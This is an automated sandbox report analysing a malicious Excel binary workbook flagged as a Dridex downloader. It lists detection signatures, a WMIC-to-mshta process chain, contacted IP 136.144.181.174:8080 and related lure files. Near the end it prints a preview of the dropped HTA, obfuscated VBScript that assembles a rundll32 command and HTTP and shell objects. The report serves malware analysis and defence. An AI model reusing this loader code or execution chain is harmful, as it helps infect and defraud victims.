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Windows Analysis Report 03332955311591163552.xlsb

Overview

General Information

Sample Name:	03332955311591163552.xlsb
Analysis ID:	528334
MD5:	03b46f9c2c3a34b01d6c6653ae6058cf
SHA1:	151187d28d385e113a7af28b7174f7ab31e88c7c
SHA256:	0f42275a9cffd35cd5b51e5fae116431d8973ff94192ddd184f9cf1a10031ea0
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

May sleep (evasive loops) to hinder dynamic analysis

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

Creates a window with clipboard capturing capabilities

IP address seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2656 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WMIC.exe (PID: 2784 cmdline: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf" MD5: FD902835DEAEF4091799287736F3A028)

mshta.exe (PID: 2096 cmdline: mshta C:\ProgramData\EcsbNSOxkInoaK.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\EcsbNSOxkInoaK.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2656, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", ProcessId: 2784

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2656, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf", ProcessId: 2784

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: 03332955311591163552.xlsb

Virustotal: Detection: 8%

Perma Link

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 136.144.181.174:8080

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 136.144.181.174:8080

Source: Joe Sandbox View

IP Address: 136.144.181.174 136.144.181.174

Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174

Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000005.00000002.664693957.0000000003D70000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: WMIC.exe, 00000002.00000002.449260897.0000000001C50000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000005.00000002.664693957.0000000003D70000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72E292CD.png

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\EcsbNSOxkInoaK.rtf, type: DROPPED

System Summary:

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: 03332955311591163552.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: 03332955311591163552.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 00000002.00000002.449169139.0000000000330000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\System32\Wbem;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default

Found obfuscated Excel 4.0 Macro

Show sources

Source: 03332955311591163552.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 63

Source: 03332955311591163552.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 03332955311591163552.xlsb

Virustotal: Detection: 8%

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\EcsbNSOxkInoaK.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$03332955311591163552.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD47D.tmp

Jump to behavior

Source: classification engine

Classification label: mal92.troj.expl.evad.winXLSB@4/4@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: 03332955311591163552.xlsb	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown	Process created: cmd line: ecsbnsoxkinoak.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: cmd line: ecsbnsoxkinoak.rtf

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\wbem\WMIC.exe TID: 1164	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\wbem\WMIC.exe TID: 1164	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2532	Thread sleep time: -60000s >= -30000s

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 00000005.00000002.663902986.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 00000005.00000002.663902986.0000000001340000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: mshta.exe, 00000005.00000002.663902986.0000000001340000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting3	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution31	Logon Script (Windows)	Logon Script (Windows)	Process Injection2	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting3	NTDS	System Information Discovery15	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
03332955311591163552.xlsb	8%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	false		high
http://investor.msn.com	mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	mshta.exe, 00000005.00000002.664693957.0000000003D70000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://www.icra.org/vocabulary/.	mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000005.00000002.664693957.0000000003D70000.00000002.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	mshta.exe, 00000005.00000002.664442450.0000000003A77000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	WMIC.exe, 00000002.00000002.449260897.0000000001C50000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	mshta.exe, 00000005.00000002.664314883.0000000003890000.00000002.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
136.144.181.174	unknown	Netherlands		20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528334
Start date:	25.11.2021
Start time:	03:36:32
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	03332955311591163552.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.expl.evad.winXLSB@4/4@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:37:38	API Interceptor	12x Sleep call for process: WMIC.exe modified
03:37:39	API Interceptor	457x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
136.144.181.174	license517502.xlsb	Get hash	malicious	Browse
	942830.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse
	9049521.xlsb	Get hash	malicious	Browse
	9049521.xlsb	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TRANSIP-ASAmsterdamtheNetherlandsNL	license517502.xlsb	Get hash	malicious	Browse	136.144.181.174
	942830.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174
	9049521.xlsb	Get hash	malicious	Browse	136.144.181.174
	9049521.xlsb	Get hash	malicious	Browse	136.144.181.174

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\EcsbNSOxkInoaK.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4573
Entropy (8bit):	5.072936336036304
Encrypted:	false
SSDEEP:	96:cngLVB369CTS6D5520yGJoyrlwSKzf0mZ:cgLVBQSSG520nmyBwE+
MD5:	C29745BC81C8ACDD29F72199EAE4C699
SHA1:	C5783C6B9E879661C5FECA9166CB62BDCA64E11E
SHA-256:	58AC14868565DB225586CF8DD6195CE82C70C247157667BB6CCCB15C3C263EC6
SHA-512:	AA7F57ADBE4D22AAC973AE08F90FAF1DC75324E7349EF4BE8B61E5FCFB0664101B415790291569D2FBF89AA4D54630214DA3B4D2672BE0F32D8C579A8927C2C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\EcsbNSOxkInoaK.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..I_B_w_x_A_o_Z_j = "run" & "dl" & "l32" & Chr(46+1-1) & "exe" & Chr(32+1-1) & Chr(67+1-1) & ":\" & Chr(92+1-1) & Chr(80+1-1) & "" & Chr(114+1-1) & Chr(111+1-1) & "gra" & "mDa" & "ta\" & "nni" & "gg" & "er." & "" & "bi" & "" & "" & "n " & Chr(87+1-1) & Chr(115+1-1) & Chr(112+1-1) & "Fr" & "" & "ee" & "Str" & "ing"..Set F_h_p_X_b_A_m_W_x_u_c_g_d_J_h = CreateObject("MS" & "XM" & "" & Chr(76+1-1) & "2.S" & "er" & Chr(118+1-1) & "" & "erX" & "ML" & "" & "HTT" & Chr(80+1-1) & ".6." & Chr(48+1-1))....M_H_t_b_e_K_o_r = "" & "Wsc" & "" & Chr(114+1-1) & "ipt" & ".Sh" & "" & "" & "" & "el" & "" & Chr(108+1-1)..Set H_I_T_B_H_C_n_n_N_m_y_K_K_e = CreateObject(M_H_t_b_e_K_o_r)..f_j_v_j_N_J_x_L_W_A_b_T_Q_H_m_M = LCase(H_I_T_B_H_C_n_n_N_m_y_K_K_e.expandenvir

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7204226A.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 224 x 317, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47905
Entropy (8bit):	7.975097307731708
Encrypted:	false
SSDEEP:	768:oPiBEX9M11Q3TUZg7EZ52/ViBN3SH8WsqnxyZI1FLyGuH32MRbYgB1ZQ0ZoKABAG:oPrX6Q3cWViBN3yKqxyeHw3vRMgF3oK+
MD5:	3773A459C89CC2480156FE604D3C5A5D
SHA1:	3E2C5867A9670C6FDF65C156FDF6DE7F0A43A018
SHA-256:	96E1EF7E454640575D72ED2B6C16843E44AEDF3BB6C47513DF78E4679CF4881F
SHA-512:	82383A4DF8ADF2A8521214993112D238BB72792BDB078B0BFE6CDD5CE16F5CA5305BB4ED162F0F0749C3A5EAB5CB929BD1E4B50360A02F13A58593514FAA51E7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......=.......n....JiCCPICC Profile..x..W.TS...[RIh..H...R.K..E....I ...D....]D@].U.E...ZQ...]......l..I.]=...s........{g...I.....y.\|Y\|D.kBj.......Z...x\|...........7..../.(......'.... q.g...<......\|..>Po=#_.. 6...!.q...(q..W.l..9....L..dY.h7C=....y.o@...%..!..x..#!...7M...p...'....C.<^..V..r.X.....?..%/W1...6.H.......F.(%.A.#...X..wb...b.RD&..QS...k.....x.Q..B......32..\...A....D..EByX...F6->v.g.8l....L.Wi.R.............D.).1j.89.bm...(..fS$.........m ..J"B...LYx..^.'...[$.sc4.*_........7..Y(a'.......s..C..c...$M.X.4?$^3..47Nc.S...J......\<0..H5?.#.KT.gd......A4..P....2.4....=M=.z$....d.!p.h.g..F$...._...\|h^.jT.....V.t..........<..r.o.j.d.[2x.5...a...)...&Z.Q..t.-.a.Pb$1.....?.......>..`._..........N...b.7...8..=.kr..:g...z.!x...8.7...h..A.P..D...[....U.5v.W.J.F..8\|;S.I.s.EY.+..5c.....o.s.....Q.Zb..}X.v.;.....;.5c..J<....V..xU<9.G..?....r.z.n..\|a....8.3e.,Q>....B.W..9........;.~M.b.......]q............8........Z..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72E292CD.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 256 x 42, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	7.852890476604547
Encrypted:	false
SSDEEP:	48:tl8kRuafTq8urV1RN5YV9mk2atARitu9J3xIpuWOG0ghPgm2Gphq:bvYoTq8uh1RN6VwkDsiwzXWmgi2nq
MD5:	1C92712801D7A0424E86CB38324AE4C8
SHA1:	1FF9A2E62CADB027F94FE03800C31AACC5EC64BA
SHA-256:	D88437360CCAE5CA051E3A4818172246B142962A9A7372FBE45A22F4D646831D
SHA-512:	8AA6B872693687DF8191FA878440C711B6001259AAEBA13D4C82BFF418CCD37ACBF3621277D091CAD34DDC63EAC3F67156468AAA2BD32BE24520BAF337B03C20
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............P......IDATx..kPS......H$D^..B...@.V.......Z...ikgZ..t:N[.N....:N;-.N;X.>@.E..T..S..R..."OQH..b.....^C.$....&.N.f..{...........Sa......%$......... 0....FC...hH........!.@`4$......... 0....FC...hH........!.@`4...Zz.p.....r...[.E...+....82.Onn....".R...==-m...cu....gf&dg.%$.@WEE..........#.0%E....._........Vl.JL.....s.x...5.G--.JK.9rD74..cj...h............%.c+...Uw......5h.v..}...+..l+..7....'....5k.64$~..8>.J?....x..E...%../.....6G.U..04T.....3!0......lo..?..o..\9...=..q\..f.......W.........@Q....X,.h.......K:..A..?$.<...K\|....yy..ds.nM-.....h.Eq.\|.Y..23...8\|...AQ\..O&{.....;...\.<z..7..^3\..v.t.........X.9[....q.T...dq8......11.j.r.h+)...S..v..'..S[.......ZTt....pfl...J..~.>...Bq....U...4?v...H.........3..R4....Q$...0k.f'de.bb.@.V....ol.D36l....&MZ..sn.......q....DIJ....O..[w+'.z..nB.%K.$%..oD.4#..?.\..o......?..+?...7...yyH...g.,.h:y....'...ck9.......%..w..#......D.Tz.......F.Ut.se.h......8..JH.w...<.h0.=

C:\Users\user\Desktop\~$03332955311591163552.xlsb Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
